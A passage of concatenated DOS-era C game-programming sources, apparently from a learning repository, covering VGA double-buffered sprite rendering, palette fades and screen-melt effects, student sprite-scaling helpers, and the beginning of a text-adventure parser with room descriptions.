PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("drag.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// SECTION 3 //////////////////////////////////////////////////////////////////
// initialize player and extract bitmaps
sprite_width = 36;
sprite_height = 8;
Sprite_Init((sprite_ptr)&object,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&object,0,0,0);
object.x = 0;
object.y = 170;
object.curr_frame = 0;
object.state = 1;
// scan behind all objects before entering event loop
Behind_Sprite_DB((sprite_ptr)&object);
// SECTION 4 //////////////////////////////////////////////////////////////////
// main event loop
while(!done)
{
// erase all objects
Erase_Sprite_DB((sprite_ptr)&object);
// test if user is tryin to go
if (kbhit())
{
// what key?
switch(getch())
{
case 'g': // g for gas, gone, go!
{
// we can only start dragster if it hasn't already started
if (!peddle_to_metal)
{
peddle_to_metal=engine=1;
} // end if
} break;
case 'q': // to quit
{
done=1;
} break;
default:break;
} // end switch
} // end if
// SECTION 5 //////////////////////////////////////////////////////////////////
// test if it's time to move the dragster
if (peddle_to_metal && engine)
{
// move object with velocity
object.x+=velocity;
// apply the horsepower baby (acceleration)
velocity+=accel;
// test if dragster has hit end of stip, if so stop it rather abrubtly
if (object.x > 319-36)
{
engine=0; // turn off engine and apply infinite braking force!
// push dragster back a bit
object.x = 319-36;
} // end if
} // end if
// SECTION 6 //////////////////////////////////////////////////////////////////
// scan background under objects
Behind_Sprite_DB((sprite_ptr)&object);
// draw all the imagery
Draw_Sprite_DB((sprite_ptr)&object);
// show some info
sprintf(buffer,"Speed = %d ",velocity);
Blit_String_DB(110,100,10,buffer,0);
sprintf(buffer,"Acceration = %d ",accel);
Blit_String_DB(110,110,10,buffer,0);
// copy the double buffer to the screen
Show_Double_Buffer(double_buffer);
// wait a sec
Delay(1);
} // end while
// SECTION 7 //////////////////////////////////////////////////////////////////
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
<file_sep>/WGAMELIB/GRAPH6.C
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h"
#include "graph4.h"
#include "graph6.h"
// G L O B A L S ////////////////////////////////////////////////////////////
unsigned char far *double_buffer = NULL;
unsigned int buffer_height = SCREEN_HEIGHT;
unsigned int buffer_size = SCREEN_WIDTH*SCREEN_HEIGHT/2;
// F U N C T I O N S /////////////////////////////////////////////////////////
void Show_Double_Buffer(char far *buffer)
{
// this functions copies the doubele buffer into the video buffer
_asm
{
push ds ; save DS on stack
mov cx,buffer_size ; this is the size of buffer in WORDS
les di,video_buffer ; es:di is destination of memory move
lds si,buffer ; ds:si is source of memory move
cld ; make sure to move in the right direction
rep movsw ; move all the words
pop ds ; restore the data segment
} // end asm
} // end Show_Double_Buffer
//////////////////////////////////////////////////////////////////////////////
int Create_Double_Buffer(int num_lines)
{
// allocate enough memory to hold the double buffer
if ((double_buffer = (unsigned char far *)_fmalloc(SCREEN_WIDTH * (num_lines + 1)))==NULL)
return(0);
// set the height of the buffer and compute it's size
buffer_height = num_lines;
buffer_size = SCREEN_WIDTH * num_lines/2;
// fill the buffer with black
_fmemset(double_buffer, 0, SCREEN_WIDTH * num_lines);
// everything was ok
return(1);
} // end Init_Double_Buffer
///////////////////////////////////////////////////////////////////////////////
void Fill_Double_Buffer(int color)
{
// this function fills in the double buffer with the sent color
_fmemset(double_buffer, color, SCREEN_WIDTH * buffer_height);
} // end Fill_Double_Buffer
//////////////////////////////////////////////////////////////////////////////
void Delete_Double_Buffer(void)
{
// this function free's up the memory allocated by the double buffer
// make sure to use FAR version
if (double_buffer)
_ffree(double_buffer);
} // end Delete_Double_Buffer
//////////////////////////////////////////////////////////////////////////////
void Plot_Pixel_Fast_DB(int x,int y,unsigned char color)
{
// plots the pixel in the desired color a little quicker using binary shifting
// to accomplish the multiplications
// use the fact that 320*y = 256*y + 64*y = y<<8 + y<<6
double_buffer[((y<<8) + (y<<6)) + x] = color;
} // end Plot_Pixel_Fast_DB
//////////////////////////////////////////////////////////////////////////////
void Scale_Sprite(sprite_ptr sprite,float scale)
{
// this function scales a sprite by computing the number of source pixels
// needed to satisfy the number of destination pixels
// note: this function works in the double buffer
char far *work_sprite;
int work_offset=0,
offset,
x,
y;
unsigned char data;
float y_scale_index,
x_scale_step,
y_scale_step,
x_scale_index;
// set first source pixel
y_scale_index = 0;
// compute floating point step
y_scale_step = sprite_height/scale;
x_scale_step = sprite_width/scale;
// alias a pointer to sprite for ease of access
work_sprite = sprite->frames[sprite->curr_frame];
// compute offset of sprite in video buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
// row by row scale object
for (y=0; y<(int)(scale); y++)
{
// copy the next row into the screen buffer using memcpy for speed
x_scale_index=0;
for (x=0; x<(int)scale; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((data=work_sprite[work_offset+(int)x_scale_index]))
double_buffer[offset+x] = data;
x_scale_index+=(x_scale_step);
} // end for x
// using the floating scale_step, index to next source pixel
y_scale_index+=y_scale_step;
// move to next line in video buffer and in sprite bitmap buffer
offset += SCREEN_WIDTH;
work_offset = sprite_width*(int)(y_scale_index);
} // end for y
} // end Scale_Sprite
////////////////////////////////////////////////////////////////////////////////
void Behind_Sprite_DB(sprite_ptr sprite)
{
// this function scans the background behind a sprite so that when the sprite
// is draw, the background isnn'y obliterated
char far *work_back;
int work_offset=0,offset,y;
// alias a pointer to sprite background for ease of access
work_back = sprite->background;
// compute offset of background in video buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
for (y=0; y<sprite_height; y++)
{
// copy the next row out off screen buffer into sprite background buffer
_fmemcpy((char far *)&work_back[work_offset],
(char far *)&double_buffer[offset],
sprite_width);
// move to next line in double buffer and in sprite background buffer
offset += SCREEN_WIDTH;
work_offset += sprite_width;
} // end for y
} // end Behind_Sprite_DB
//////////////////////////////////////////////////////////////////////////////
void Erase_Sprite_DB(sprite_ptr sprite)
{
// replace the background that was behind the sprite
// this function replaces the background that was saved from where a sprite
// was going to be placed
char far *work_back;
int work_offset=0,offset,y;
// alias a pointer to sprite background for ease of access
work_back = sprite->background;
// compute offset of background in double buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
for (y=0; y<sprite_height; y++)
{
// copy the next row out off screen buffer into sprite background buffer
_fmemcpy((char far *)&double_buffer[offset],
(char far *)&work_back[work_offset],
sprite_width);
// move to next line in video buffer and in sprite background buffer
offset += SCREEN_WIDTH;
work_offset += sprite_width;
} // end for y
} // end Erase_Sprite_DB
//////////////////////////////////////////////////////////////////////////////
void Draw_Sprite_DB(sprite_ptr sprite)
{
// this function draws a sprite on the screen row by row very quickly
// note the use of shifting to implement multplication
char far *work_sprite;
int work_offset=0,offset,x,y;
unsigned char data;
// alias a pointer to sprite for ease of access
work_sprite = sprite->frames[sprite->curr_frame];
// compute offset of sprite in video buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
for (y=0; y<sprite_height; y++)
{
// copy the next row into the double buffer using memcpy for speed
for (x=0; x<sprite_width; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((data=work_sprite[work_offset+x]))
double_buffer[offset+x] = data;
} // end for x
// move to next line in double buffer and in sprite bitmap buffer
offset += SCREEN_WIDTH;
work_offset += sprite_width;
} // end for y
} // end Draw_Sprite_DB
///////////////////////////////////////////////////////////////////////////////
void Fade_Lights(void)
{
// this functions fades the lights by slowly decreasing the color values
// in all color registers
int pal_reg,index;
RGB_color color;
for (index=0; index<30; index++)
{
for (pal_reg=1; pal_reg<255; pal_reg++)
{
// get the color to fade
Get_Palette_Register(pal_reg,(RGB_color_ptr)&color);
if (color.red > 5) color.red-=3;
else
color.red = 0;
if (color.green > 5) color.green-=3;
else
color.green = 0;
if (color.blue > 5) color.blue-=3;
else
color.blue = 0;
// set the color to a diminished intensity
Set_Palette_Register(pal_reg,(RGB_color_ptr)&color);
} // end for pal_reg
// wait a bit
Delay(2);
} // end fade for
} // end Fade_Lights
//////////////////////////////////////////////////////////////////////////////
void Disolve(void)
{
// disolve screen by ploting zillions of black pixels
unsigned long index;
for (index=0; index<=300000; index++,Plot_Pixel_Fast(rand()%320, rand()%200, 0));
} // end Disolve
//////////////////////////////////////////////////////////////////////////////
void Melt(void)
{
// this function "melts" the screen by moving little worms at different speeds
// down the screen. These worms change to the color thy are eating
int index,ticks=0;
worm worms[NUM_WORMS]; // the array of worms used to make the screen melt
// initialize the worms
for (index=0; index<160; index++)
{
worms[index].color = Get_Pixel(index,0);
worms[index].speed = 3 + rand()%9;
worms[index].y = 0;
worms[index].counter = 0;
// draw the worm
Plot_Pixel_Fast((index<<1),0,(char)worms[index].color);
Plot_Pixel_Fast((index<<1),1,(char)worms[index].color);
Plot_Pixel_Fast((index<<1),2,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,0,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,1,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,2,(char)worms[index].color);
} // end index
// do screen melt
while(++ticks<1800)
{
// process each worm
for (index=0; index<320; index++)
{
// is it time to move worm
if (++worms[index].counter == worms[index].speed)
{
// reset counter
worms[index].counter = 0;
worms[index].color = Get_Pixel(index,worms[index].y+4);
// has worm hit bottom?
if (worms[index].y < 193)
{
Plot_Pixel_Fast((index<<1),worms[index].y,0);
Plot_Pixel_Fast((index<<1),worms[index].y+1,(char)worms[index].color);
Plot_Pixel_Fast((index<<1),worms[index].y+2,(char)worms[index].color);
Plot_Pixel_Fast((index<<1),worms[index].y+3,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,worms[index].y,0);
Plot_Pixel_Fast((index<<1)+1,worms[index].y+1,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,worms[index].y+2,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,worms[index].y+3,(char)worms[index].color);
worms[index].y++;
} // end if worm isn't at bottom yet
} // end if time to move worm
} // end index
// accelerate melt
if (!(ticks % 500))
{
for (index=0; index<160; index++)
worms[index].speed--;
} // end if time to accelerate melt
} // end while
} // end Melt
//////////////////////////////////////////////////////////////////////////////
void Sheer(void)
{
// this program "sheers" the screen for lack of a better word.
long index;
int x,y;
// select starting point of sheers
x=rand()%320;
y=rand()%200;
// do it a few times to make sure whole screen is destroyed
for (index=0; index<100000; index++)
{
// move sheers
x+=17; // note the use of prime numbers
y+=13;
// test if sheers are of boundaries, if so roll them over
if (x>319)
x = x - 319;
if (y>199)
y = y - 199;
// plot the pixel in black
Plot_Pixel_Fast(x,y,0);
} // end for index
} // end Sheer
//////////////////////////////////////////////////////////////////////////////////
void Wait_For_Vsync(void)
{
// this function waits for the start of a vertical retrace, if a vertical
// retrace is in progress then it waits until the next one
while(_inp(VGA_INPUT_STATUS_1) & VGA_VSYNC_MASK)
{
// do nothing, vga is in retrace
} // end while
// now wait for vysnc and exit
while(!(_inp(VGA_INPUT_STATUS_1) & VGA_VSYNC_MASK))
{
// do nothing, wait for start of retrace
} // end while
// at this point a vertical retrace is occuring, so return back to caller
} // end Wait_For_Vsync
///////////////////////////////////////////////////////////////////////////////
void Blit_Char_DB(int xc,int yc,char c,int color,int trans_flag)
{
// this function uses the rom 8x8 character set to blit a character into the
// double buffer,notice the trick used to extract bits out of each character
// byte that comprises a line
int offset,x,y;
char far *work_char;
unsigned char bit_mask = 0x80;
// compute starting offset in rom character lookup table
work_char = rom_char_set + c * CHAR_HEIGHT;
// compute offset of character in video buffer
offset = (yc << 8) + (yc << 6) + xc;
for (y=0; y<CHAR_HEIGHT; y++)
{
// reset bit mask
bit_mask = 0x80;
for (x=0; x<CHAR_WIDTH; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((*work_char & bit_mask))
double_buffer[offset+x] = color;
else if (!trans_flag) // takes care of transparency
double_buffer[offset+x] = 0;
// shift bit mask
bit_mask = (bit_mask>>1);
} // end for x
// move to next line in video buffer and in rom character data area
offset += SCREEN_WIDTH;
work_char++;
} // end for y
} // end Blit_Char_DB
//////////////////////////////////////////////////////////////////////////////
void Blit_String_DB(int x,int y,int color, char *string,int trans_flag)
{
// this function blits an entire string into the double buffer with fixed
// spacing between each character. it calls blit_char.
int index;
for (index=0; string[index]!=0; index++)
{
Blit_Char_DB(x+(index<<3),y,string[index],color,trans_flag);
} /* end while */
} /* end Blit_String_DB */
///////////////////////////////////////////////////////////////////////////////
<file_sep>/day_04/BETTER4.C
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include <graph.h> // microsoft's stuff if we need it
#include "graph3.h"
#include "graph4.h"
#include "better4.h"
void Better_Behind_Sprite(sprite_ptr sprite)
{
int old_sprite_width, old_sprite_height;
//preserve the sprite dimensions
old_sprite_width = sprite_width;
old_sprite_height = sprite_height;
//set the proper width and height
sprite_width = sprite->width;
sprite_height = sprite->height;
Behind_Sprite(sprite);
//restore the sprite dimensions
sprite_width = old_sprite_width;
sprite_height = old_sprite_height;
}
void Better_Erase_Sprite(sprite_ptr sprite)
{
int old_sprite_width, old_sprite_height;
//preserve the sprite dimensions
old_sprite_width = sprite_width;
old_sprite_height = sprite_height;
//set the proper width and height
sprite_width = sprite->width;
sprite_height = sprite->height;
Erase_Sprite(sprite);
//restore the sprite dimensions
sprite_width = old_sprite_width;
sprite_height = old_sprite_height;
}
void Better_Draw_Sprite(sprite_ptr sprite)
{
int old_sprite_width, old_sprite_height;
//preserve the sprite dimensions
old_sprite_width = sprite_width;
old_sprite_height = sprite_height;
//set the proper width and height
sprite_width = sprite->width;
sprite_height = sprite->height;
Draw_Sprite(sprite);
//restore the sprite dimensions
sprite_width = old_sprite_width;
sprite_height = old_sprite_height;
}
//functions I have written on day 4
void Better_Scale_Sprite(sprite_ptr dest, sprite_ptr src, int scale)
{
int sprite_frame;
int i,j;
int x,y;
int fx,fy;
unsigned char pixel;
// Initialize the destination sprite
Sprite_Init(dest,
src->x,
src->y,
src->anim_clock,
src->anim_speed,
src->motion_clock,
src->motion_speed);
dest->width = src->width * scale;
dest->height = src->height * scale;
//reallocate space for the background
_ffree(dest->background);
dest->background = (char far *)_fmalloc(dest->width * dest->height +1);
//copy the sprite frames
for(sprite_frame=0; sprite_frame < src->num_frames; sprite_frame++) {
//allocate space for the frame
dest->frames[sprite_frame] = (char far *)_fmalloc(dest->width * dest->height + 1);
dest->num_frames++;
//copy the frame, scaling the pixels as they go
for(y=0; y<src->height; y++) {
fy = y * scale;
for(x=0; x<src->width; x++) {
pixel = src->frames[sprite_frame][y*src->width + x];
fx = x*scale;
for(i=0; i<scale; i++) {
for(j=0; j<scale; j++) {
dest->frames[sprite_frame][(fy+i) * dest->width + fx+j]=pixel;
}
}
}
}
}
}
void Better_Fade()
{
RGB_color color;
int done;
int i;
// fade to black
do {
//assume this is the last time
done = 1;
//decrement every register
for(i=0; i<=255; i++) {
Get_Palette_Register(i, &color);
if(color.red) {
done = 0;
color.red--;
}
if(color.green) {
done = 0;
color.green--;
}
if(color.blue) {
done = 0;
color.blue--;
}
Set_Palette_Register(i, &color);
}
Delay(2); //sloooowly
} while(!done);
}
void Copy_Sprite(sprite_ptr dest, sprite_ptr src)
{
//scale with factor 1 is practically a sprite copy
Better_Scale_Sprite(dest, src, 1);
//We just need to grab a few more fields
dest->x_old = src->x_old;
dest->y_old = src->y_old;
dest->curr_frame = src->curr_frame;
dest->state = src->state;
_fmemcpy(dest->background, src->background, dest->width * dest->height +1);
}
void Sprite_Fizzle_Frame(fizzler_ptr f, sprite_ptr sprite)
{
//produce a single frame of fizzle
int j;
//initialize
if(sprite) {
//first we need to copy the sprite
Copy_Sprite(&(f->fizzy), sprite);
f->i=0;
f->len = sprite->width * sprite->height + 1;
}else if(f->i >= 25) {
//already fizzled
return;
}
//and away we go!
for(j=f->i; j<f->len; j+=25) {
f->fizzy.frames[f->fizzy.curr_frame][(j+rand())%f->len] = 0;
}
Better_Erase_Sprite(&(f->fizzy));
Better_Behind_Sprite(&(f->fizzy));
Better_Draw_Sprite(&(f->fizzy));
f->i += 1;
if(f->i==25) {
Better_Erase_Sprite(&(f->fizzy));
Sprite_Delete(&(f->fizzy));
}
}
void Sprite_Fizzle(sprite_ptr sprite)
{
int i;
fizzler f;
Sprite_Fizzle_Frame(&f, sprite);
for(i=1; i<25; i++){
Sprite_Fizzle_Frame(&f, NULL);
Delay(1);
}
}
void Print_Sprite_Frame(sprite_ptr sprite, int frame)
{
int i;
//print the color indexes for each non-zero part of the frame
for(i=0; i<sprite->width*sprite->height; i++) {
if(i%sprite->width== 0) { printf("\n"); }
if(sprite->frames[frame][i]) {
printf("%02x ", sprite->frames[frame][i]);
} else {
printf(" ");
}
}
}
<file_sep>/day_08/addl.c
#include <math.h>
#include <stdio.h>
void main(void)
{
long x,y,z;
// add the longs and see what assembly language is generated
z = x+y;
} // end main
<file_sep>/day_19/shadow.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include <ctype.h>
// D E F I N E S /////////////////////////////////////////////////////////////
// size of universe in blocks
#define NUM_ROWS 32
#define NUM_COLUMNS 32
// id's for objects and geometry in universe
#define EMPTY_ID ' '
#define WALL_ID '*'
#define LAMP_ID 'l'
#define SANDWICH_ID 's'
#define KEYS_ID 'k'
// general directions
#define EAST 0
#define WEST 1
#define NORTH 2
#define SOUTH 3
// language details
#define MAX_TOKENS 64
#define NUM_TOKENS 28
#define FIRST_WORD 0
#define SECOND_WORD 1
#define THIRD_WORD 2
#define FOURTH_WORD 3
#define FIFTH_WORD 4
#define OBJECT_START 50
#define OBJECT_LAMP 50
#define OBJECT_SANDWICH 51
#define OBJECT_KEYS 52
#define OBJECT_END 52
// directions (adjectives)
#define DIR_1_START 100
#define DIR_1_EAST 100
#define DIR_1_WEST 101
#define DIR_1_NORTH 102
#define DIR_1_SOUTH 103
#define DIR_1_END 103
#define DIR_2_START 150
#define DIR_2_FORWARD 150
#define DIR_2_BACKWARD 151
#define DIR_2_RIGHT 152
#define DIR_2_LEFT 153
#define DIR_2_END 153
// define actions (verbs)
#define ACTION_START 200
#define ACTION_MOVE 200
#define ACTION_TURN 201
#define ACTION_SMELL 202
#define ACTION_LOOK 203
#define ACTION_LISTEN 204
#define ACTION_PUT 205
#define ACTION_GET 206
#define ACTION_EAT 207
#define ACTION_INVENTORY 208
#define ACTION_WHERE 209
#define ACTION_EXIT 210
#define ACTION_END 210
// articles
#define ART_START 300
#define ART_THE 300
#define ART_END 300
// prepositions
#define PREP_START 325
#define PREP_IN 325
#define PREP_ON 326
#define PREP_TO 327
#define PREP_DOWN 328
#define PREP_END 328
// the phrases that add meaning to us, but not to the computer
#define PHRASE_TO 0
#define PHRASE_THE 1
#define PHRASE_TO_THE 2
#define PHRASE_DOWN 3
#define PHRASE_DOWN_THE 4
// S T R U C T U R E S ///////////////////////////////////////////////////////
// this is the structure for a single token
typedef struct token_typ
{
char symbol[16]; // the string that represents the token
int value; // the integer value of the token
} token, *token_ptr;
// this is the structure used to hold a single string that is used to
// describe something in the game like a smell, sight, sound...
typedef struct info_string_typ
{
char type; // the type of info string i.e. what does it describe
char string[100]; // the actual description string
} info_string, *info_string_ptr;
// this structure holds everything pertaining to the player
typedef struct player_typ
{
char name[16]; // name of player
int x,y; // postion of player
int direction; // direction of player, east,west north,south
char inventory[8]; // objects player is holding (like pockets)
int num_objects; // number of objects player is holding
} player, *player_ptr;
// this structure holds an object
typedef struct object_typ
{
char thing; // the actual object
int x,y; // position of object in universe
} object, *object_ptr;
// P R O T O T Y P E S //////////////////////////////////////////////////////
void Introduction();
int Vision_System(int depth,
int direction,
object *stuff,
int *num_objects);
int Check_For_Phrase(int phrase,int index);
void Print_Info_Strings(info_string strings[],char where);
char *Get_Line(char *buffer);
int Get_Token(char *input,char *output,int *current_pos);
int Extract_Tokens(char *string);
void Verb_Parser(void);
int Verb_MOVE(void);
int Verb_TURN(void);
int Verb_SMELL(void);
int Verb_LOOK(void);
int Verb_LISTEN(void);
int Verb_PUT(void);
int Verb_GET(void);
int Verb_EAT(void);
int Verb_INVENTORY(void);
int Verb_EXIT(void);
int Verb_WHERE(void);
// G L O B A L S //////////////////////////////////////////////////////////////
// this is the entire "language" of the language.
token language[MAX_TOKENS] = {
{"LAMP", OBJECT_LAMP },
{"SANDWICH", OBJECT_SANDWICH },
{"KEYS", OBJECT_KEYS },
{"EAST", DIR_1_EAST },
{"WEST", DIR_1_WEST },
{"NORTH", DIR_1_NORTH },
{"SOUTH", DIR_1_SOUTH },
{"FORWARD", DIR_2_FORWARD },
{"BACKWARD", DIR_2_BACKWARD },
{"RIGHT", DIR_2_RIGHT },
{"LEFT", DIR_2_LEFT },
{"MOVE", ACTION_MOVE },
{"TURN", ACTION_TURN },
{"SMELL", ACTION_SMELL },
{"LOOK", ACTION_LOOK },
{"LISTEN", ACTION_LISTEN },
{"PUT", ACTION_PUT },
{"GET", ACTION_GET },
{"EAT", ACTION_EAT },
{"INVENTORY", ACTION_INVENTORY},
{"WHERE", ACTION_WHERE },
{"EXIT", ACTION_EXIT },
{"THE", ART_THE },
{"IN", PREP_IN },
{"ON", PREP_ON },
{"TO", PREP_TO },
{"DOWN", PREP_DOWN },
};
// now for the definition of the universe and the objects within it
// this array holds the geometry of the universe
// l - living room
// b - bedroom
// k - kitchen
// w - washroom
// h - hall way
// r - restroom
// e - entry way
// o - office
// ^
// NORTH
//
// < WEST EAST >
//
// SOUTH
// v
char *universe_geometry[NUM_ROWS]={"********************************",
"*lllllllll*bbbbbbbbbbbbbbbbbbbb*",
"*llllllllll*bbbbbbbbbbbbbbbbbbb*",
"*lllllllllll*bbbbbbbbbbbbbbbbbb*",
"*llllllllllll*bbbbbbbbbbbbbbbbb*",
"*llllllllllll*bbbbbbbbbbbbbbbbb*",
"*llllllllllll*bbbbbbbbbbbbbbbbb*",
"*llllllllllll*bbbbbbbbbbbbbbbbb*",
"*llllllllllll*bbbbbbbbbbbbbbbbb*",
"*llllllllllll*bbbbbbbbbbbbbbbbb*",
"*llllllllllll*bbbbbbbbbbbbbbbbb*",
"*llllllllllll*bbbb*rrr**********",
"*lllllllllllhhhhhh*rrrrrrrrrrrr*",
"*lllllllllllhhhhhh*rrrrrrrrrrrr*",
"*lllllllllhhh******rrrrrrrrrrrr*",
"*********hhhh*rrrrrrrrrrrrrrrrr*",
"*kkkkkkk*hhhh*rrrrrrrrrrrrrrrrr*",
"*kkkkkkk*hhhh*rrrrrrrrrrrrrrrrr*",
"*kkkkkkk*hhhh*rrrrrrrrrrrrrrrrr*",
"*kkkkkkkhhhhh*******************",
"*kkkkkkkhhhhhhhhhhhwwwwwwwwwwww*",
"*kkkkkkkhhhhhhhhhhhwwwwwwwwwwww*",
"*kkkkkkk*hhhhhhhhhhwwwwwwwwwwww*",
"*kkkkkkk*hhhh*ooooo*************",
"*kkkkkkk*hhhh*ooooooooooooooooo*",
"*kkkkkkk*hhhh*ooooooooooooooooo*",
"*kkkkkk*hhhhh*ooooooooooooooooo*",
"*******hhhhhh*ooooooooooooooooo*",
"*eeeeeeeeeeee*ooooooooooooooooo*",
"*eeeeeeeeeeee*ooooooooooooooooo*",
"*eeeeeeeeeeee*ooooooooooooooooo*",
"********************************",};
// this array holds the objects within the universe
// l - lamp
// s - sandwich
// k - keys
// ^
// NORTH
//
// < WEST EAST >
//
// SOUTH
// v
char *universe_objects[NUM_ROWS]={" ",
" l k ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" l ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" s ",
" ",
" ",
" ",
" ",
" s ",
" l ",
" ",
" ",};
// these info strings hold the views in each room
info_string views[]={
{'l',"You see an expansive white room with a vaulted ceiling. The walls are adorned "},
{'l',"with medevil art. To the North, is a plate glass window through which colored"},
{'l',"strands of light pierce. They reflect off the carpeted floor and create a "},
{'l',"silhouette of the towering pines just outdside. In the Northeast corner of "},
{'l',"the room, you see a fire place with a half burnt log in it. Finally, against "},
{'l',"the West wall there's a white leather couch and in each corner of the room "},
{'l',"are large green palms potted in hexogonal black pots. "},
{'b',"You see a black lacquer bedroom set surrounding a king size platform bed."},
{'b',"On the walls, you see pictures of mystical landscapes and underwater cities. "},
{'b',"To the North there is a window thru which you see a group of large trees just "},
{'b',"beyond a small pond. On the floor of the room you see black silk stockings "},
{'b',"and lingerie thrown with abandon about the area. "},
{'k',"You are surrounded by stone washed granite counters. On the counters are the"},
{'k',"normal appliances found in a kitchen. To the West there is a large glass "},
{'k',"door refrigerator with a varitable plethora of food. Against the South wall"},
{'k',"there is a small nook with a white refuge container. Above your head dangle"},
{'k',"down many cooking utensils and exotic pans suspended from a anodized "},
{'k',"aluminum structure. "},
{'w',"There is a large vanity mirror and a black porcellin wash basin. To the East"},
{'w',"is a rack of black and white towels hung on brass rails. On the counter "},
{'w',"surrounding the walls there are small spherically shaped soap balls in a "},
{'w',"myriad of colors set in cyrstal dishes. The floor is made of black and white"},
{'w',"marble with a hint of grey running thru it. "},
{'h',"You see an ordinary hallway with track lighting above head. "},
{'r',"You see a large wash area with two basins. To the West through a glass "},
{'r',"enclosure you see the outline of a young woman apperantly bathing... To "},
{'r',"the East you see a second smaller room with many plants hanging from the"},
{'r',"celing along with the shadow of a dark,muscular man moving around. On "},
{'r',"the floor below you are plush tapestries of Egyption origin. "},
{'e',"To the West you see a small opening into what appears to be a kitchen. "},
{'e',"The lights are low and you can't make out much more in this direction. "},
{'e',"Under your feet is a large black rectangular cut of carpet. Lastly, leading to"},
{'e',"the East and North are hallways to the remainder of the house. "},
{'o',"You are astounded by the amount of computer equipment in every corner of the "},
{'o',"room. To the South is a Silicon Graphics OYNX Super Computer, the screen of "},
{'o',"which seems to displaying a mesmorizing array of mathematical equations. To "},
{'o',"the North you are faced with literally hundreds of books on every topic from "},
{'o',"quantum mechanics to molecular bio-chemistry. Against the East wall there "},
{'o',"is a full collection of electrical engineering equipment with a oscilloscope "},
{'o',"displaying a curious waveform apparently an input from a black box resting on"},
{'o',"the floor. As you look around the walls of the room, you see schematics of "},
{'o',"digital hardware and paintings of great scientific pioneers such as Einstein,"},
{'o',"Newton and Maxwell. Strewn about the floor are small electronic "},
{'o',"components and pieces of paper with scribbles upon them. "},
{'X',""}, // terminate
};
// these info strings hold the smells in each room
info_string smells[]={
{'l',"You smell the sweet odor of Jasmine with an undertone of potpourri. "},
{'b',"The sweet smell of perfume dances within your nostrils...Realities possibly. "},
{'k',"You take a deep breath and your senses are tantallized with the smell of"},
{'k',"tender breasts of chicken marinating in a garlic sauce. Also, there is "},
{'k',"a sweet berry smell emminanting from the oven. "},
{'w',"You are almost overwhealmed by the smell of bathing fragrance as you"},
{'w',"inhale. "},
{'h',"You smell nothing to make note of. "},
{'r',"Your nose is filled with steam and the smell of baby oil... "},
{'e',"You smell pine possible from the air coming thru a small orifice near"},
{'e',"the front door. "},
{'o',"You are greeted with the familiar odor of burning electronics. As you inhale"},
{'o',"a second time, you can almost taste the rustic smell of aging books. "},
{'X',""}, // terminate
};
// these info strings hold the sounds in each room
info_string sounds[]={
{'l',"You hear the faint sounds of Enigma playing in the background along with"},
{'l',"the wind howling against the exterior of the room. "},
{'b',"You hear the wind rubbing against the window making a sound similar to"},
{'b',"sheets being pulled off a bed. "},
{'k',"You hear expansion of the hot ovens along with the relaxing sounds produced"},
{'k',"by the cooling fans. "},
{'w',"You hear nothing but a slight echo in the heating ducts."},
{'h',"You hear the sounds of music, but you can't make out any of the words or"},
{'h',"melodies. "},
{'r',"You hear the sound of driping water and the whispers of a femal voice"},
{'r',"ever so faintly in the background. "},
{'e',"You hear the noises of the outside world muffled by the closed door to the"},
{'e',"South. "},
{'o',"You hear nothing but the perpetual hum of all the cooling fans within the"},
{'o',"electronic equipment. "},
{'X',""},
};
int sentence[8]; // this array holds the current sentence
int num_tokens; // number of words in current sentecne
// this is the player
player you={"Andre'",10,29,NORTH,{' ',' ',' ',' ',' ',' ',' ',' '},0};
int global_exit=0; // global exit flag
char global_input[128], // input string
global_output[128]; // output string
// F U N C T I O N S //////////////////////////////////////////////////////////
char *Get_Line(char *buffer)
{
// this function gets a single line of input and tolerates white space
int c,index=0;
// loop while user hasn't hit return
while((c=getch())!=13)
{
// implement backspace
if (c==8 && index>0)
{
buffer[--index] = ' ';
printf("%c %c",8,8);
} // end if backspace
else
if (c>=32 && c<=122)
{
buffer[index++] = c;
printf("%c",c);
} // end if in printable range
} // end while
// terminate string
buffer[index] = 0;
// return pointer to buffer or NULL
if (strlen(buffer)==0)
return(NULL);
else
return(buffer);
} // end Get_Line
////////////////////////////////////////////////////////////////////////////////
int Get_Token(char *input,char *output,int *current_pos)
{
int index, // loop index and working index
start, // points to start of token
end; // points to end of token
// set current positions
index=start=end=*current_pos;
// eat white space
while(isspace(input[index]) || ispunct(input[index]))
{
index++;
} // end while
// test if end of string found
if (input[index]==NULL)
{
// emit nothing
strcpy(output,"");
return(0);
} // end if no more tokens
// at this point, we must have a token of some kind, so find the end of it
start = index; // mark front of it
end = index;
// find end of Token
while(!isspace(input[end]) && !ispunct(input[end]) && input[end]!=NULL)
{
end++;
} // end while
